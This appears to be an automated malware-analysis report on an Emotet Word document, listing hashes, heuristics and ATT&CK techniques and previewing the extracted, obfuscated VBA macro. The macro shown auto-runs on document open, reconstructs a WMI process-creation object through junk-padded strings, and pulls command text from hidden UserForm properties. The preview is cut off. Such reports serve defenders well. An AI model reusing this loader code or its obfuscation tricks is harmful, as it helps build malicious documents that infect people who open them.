Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 116ef2af393ea497…

MALICIOUS

Office (OLE)

174.9 KB Created: 2020-08-18 12:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 590b409c8ccbf95b917ba3e50f68188b SHA-1: 3158d5ce0557eb78def5d63c1423af8d481f9160 SHA-256: 116ef2af393ea4974f63c52f6c3e2a164b6dc685cfb2da97e0e92fffa02a8c5f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open and auto-exec heuristics. Critical heuristics point to a hidden UserForm command stager, a common technique for obfuscating malicious code execution. ClamAV detection explicitly identifies this as Emotet, a known downloader family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9374561-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9374561-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10501 bytes
SHA-256: efc7af16dc9c8a673f4d940fa356390e5c1baf5adca78f4667201ac99c3599d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "F_ew8g4vle7us"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Xxmw_o8wlut.Xubyyrc33i_o
End Sub


Attribute VB_Name = "Xxmw_o8wlut"
Attribute VB_Base = "0{9C186686-7193-4330-AED0-2EB279528E9B}{FAA1B552-A013-4F26-857F-86CDFEFFCB61}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xubyyrc33i_o()
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 951
Fey5x8ez0fb1 = 221
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Awd6b5sp47st0hgdf = Yidev3gasg72qs
R0tgj3ba5vldjl08 = Xxmw_o8wlut.HelpContextId + 50 + 50
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 68
Fey5x8ez0fb1 = 317
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Y2joi3yd23y41xw0 = Yidev3gasg72qs
D_2z491aucfgky8t = ChrW(R0tgj3ba5vldjl08 + (15))
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 252
Fey5x8ez0fb1 = 783
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Jlm1vyttw9ijyk_yef = Yidev3gasg72qs
Tveofrj0a1vd = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + D_2z491aucfgky8t + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Xxmw_o8wlut.J_m_1m9aoif + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 609
Fey5x8ez0fb1 = 652
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Fidhcy_42jislpve = Yidev3gasg72qs
Bfqtjjxnpuii3aev0q = Y0ilxpsxua0l9vdw6j(Tveofrj0a1vd)
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 148
Fey5x8ez0fb1 = 666
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Yceejdn_mb2b = Yidev3gasg72qs
Set Gxc_ynzdism7mp8 = CreateObject(Bfqtjjxnpuii3aev0q)
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 81
Fey5x8ez0fb1 = 122
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Zvjkn9_72cc = Yidev3gasg72qs
Doo2bvagt3xn = Xxmw_o8wlut.Zjsc624lon9sz.ControlTipText
   For Lmin297j4uyo = 5 To 62
DoEvents
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Debug.Print (CStr(Nr557fi_4rr) & CStr(Svl0kr11sywf4))
Next Lmin297j4uyo
Yidev3gasg72qs = 526
Fey5x8ez0fb1 = 45
Yidev3gasg72qs = Yidev3gasg72qs + Fey5x8ez0fb1
Qlwaom976kzytar0 = Yi
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.